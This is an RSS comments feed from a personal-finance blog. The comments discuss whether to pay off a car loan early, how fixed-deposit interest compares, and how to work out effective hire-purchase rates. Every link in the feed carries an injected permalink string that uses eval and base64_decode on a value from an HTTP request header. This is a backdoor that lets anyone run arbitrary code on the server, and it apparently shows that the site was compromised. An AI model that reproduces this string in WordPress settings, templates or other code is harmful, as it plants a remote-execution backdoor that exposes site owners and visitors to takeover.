<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	>
<channel>
	<title>Comments on: Should you pay off your loan earlier with your spare cash?</title>
	<atom:link href="http://www.jeanchai.com/?feed=rss2&#038;p=81" rel="self" type="application/rss+xml" />
	<link>http://www.jeanchai.com/2008/08/22/should-you-pay-off-your-loan-earlier-with-your-spare-cash/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
	<description>A Step Closer to Financial Freedom</description>
	<pubDate>Tue, 07 Sep 2010 18:25:11 +0000</pubDate>
	<generator>http://wordpress.org/?v=2.5.1</generator>
		<item>
		<title>By: LOKE</title>
		<link>http://www.jeanchai.com/2008/08/22/should-you-pay-off-your-loan-earlier-with-your-spare-cash/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comment-158</link>
		<dc:creator>LOKE</dc:creator>
		<pubDate>Mon, 02 Mar 2009 21:39:46 +0000</pubDate>
		<guid isPermaLink="false">http://www.jeanchai.com/?p=81#comment-158</guid>
		<description>The decision on whether to get car loan is heavily dependent on the flat interest rate and repayment period...</description>
		<content:encoded><![CDATA[<p>The decision on whether to get car loan is heavily dependent on the flat interest rate and repayment period&#8230;</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: imDavidLee</title>
		<link>http://www.jeanchai.com/2008/08/22/should-you-pay-off-your-loan-earlier-with-your-spare-cash/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comment-150</link>
		<dc:creator>imDavidLee</dc:creator>
		<pubDate>Thu, 27 Nov 2008 02:52:16 +0000</pubDate>
		<guid isPermaLink="false">http://www.jeanchai.com/?p=81#comment-150</guid>
		<description>if the saving interest rate is higher than  car loan interest rate, then u should pay ur debt slowly in stead of lum sum payment...</description>
		<content:encoded><![CDATA[<p>if the saving interest rate is higher than  car loan interest rate, then u should pay ur debt slowly in stead of lum sum payment&#8230;</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: poc</title>
		<link>http://www.jeanchai.com/2008/08/22/should-you-pay-off-your-loan-earlier-with-your-spare-cash/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comment-148</link>
		<dc:creator>poc</dc:creator>
		<pubDate>Sun, 23 Nov 2008 06:45:29 +0000</pubDate>
		<guid isPermaLink="false">http://www.jeanchai.com/?p=81#comment-148</guid>
		<description>how do you derive effective interest rate from hire purchase advertised rates, looked up to wikipedia on nominal vs effective rates but i think those are of diff definition? 

yea maybe can send me the excel workings</description>
		<content:encoded><![CDATA[<p>how do you derive effective interest rate from hire purchase advertised rates, looked up to wikipedia on nominal vs effective rates but i think those are of diff definition? </p>
<p>yea maybe can send me the excel workings</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: jeanchai</title>
		<link>http://www.jeanchai.com/2008/08/22/should-you-pay-off-your-loan-earlier-with-your-spare-cash/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comment-130</link>
		<dc:creator>jeanchai</dc:creator>
		<pubDate>Fri, 19 Sep 2008 16:59:27 +0000</pubDate>
		<guid isPermaLink="false">http://www.jeanchai.com/?p=81#comment-130</guid>
		<description>Hi JC,

Ya, you are right that the bank will not offer monthly FD interest rate of 3.75%. But I am merely using it in the example to give an idea how we should view our options by comparing apple to apple. Once we know the concept behind the example, the figures are for us to put in. 

To be more realistic, we can use monthly FD rates (depends on each bank) and top up the same amount monthly accordingly. Hence, except for the rate I used here, the computation is indeed a realistic example.</description>
		<content:encoded><![CDATA[<p>Hi JC,</p>
<p>Ya, you are right that the bank will not offer monthly FD interest rate of 3.75%. But I am merely using it in the example to give an idea how we should view our options by comparing apple to apple. Once we know the concept behind the example, the figures are for us to put in. </p>
<p>To be more realistic, we can use monthly FD rates (depends on each bank) and top up the same amount monthly accordingly. Hence, except for the rate I used here, the computation is indeed a realistic example.</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: bluffy83</title>
		<link>http://www.jeanchai.com/2008/08/22/should-you-pay-off-your-loan-earlier-with-your-spare-cash/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comment-117</link>
		<dc:creator>bluffy83</dc:creator>
		<pubDate>Wed, 27 Aug 2008 01:11:43 +0000</pubDate>
		<guid isPermaLink="false">http://www.jeanchai.com/?p=81#comment-117</guid>
		<description>just keep blabbering..</description>
		<content:encoded><![CDATA[<p>just keep blabbering..</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: JC</title>
		<link>http://www.jeanchai.com/2008/08/22/should-you-pay-off-your-loan-earlier-with-your-spare-cash/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comment-116</link>
		<dc:creator>JC</dc:creator>
		<pubDate>Tue, 26 Aug 2008 07:31:40 +0000</pubDate>
		<guid isPermaLink="false">http://www.jeanchai.com/?p=81#comment-116</guid>
		<description>It is true that the second calculation yields higher returns. However, the bank will not be able to offer FD interest at 3.75% if Mr. A is going to start a deposit at RM1,833.33 and will top up the same amount every month up to 60 months. The interest Mr. A earns from monthly deposit will vary from RM100k in a lump sum deposited in FD account at 3.75% p.a.

How are we going to calculate more accurately for monthly deposit of 1 month up to 60 month in more realistic matter? 

Is there any bank giving 3.75% p.a. for a 12 month FD placement of RM5k?</description>
		<content:encoded><![CDATA[<p>It is true that the second calculation yields higher returns. However, the bank will not be able to offer FD interest at 3.75% if Mr. A is going to start a deposit at RM1,833.33 and will top up the same amount every month up to 60 months. The interest Mr. A earns from monthly deposit will vary from RM100k in a lump sum deposited in FD account at 3.75% p.a.</p>
<p>How are we going to calculate more accurately for monthly deposit of 1 month up to 60 month in more realistic matter? </p>
<p>Is there any bank giving 3.75% p.a. for a 12 month FD placement of RM5k?</p>
]]></content:encoded>
	</item>
</channel>
</rss>
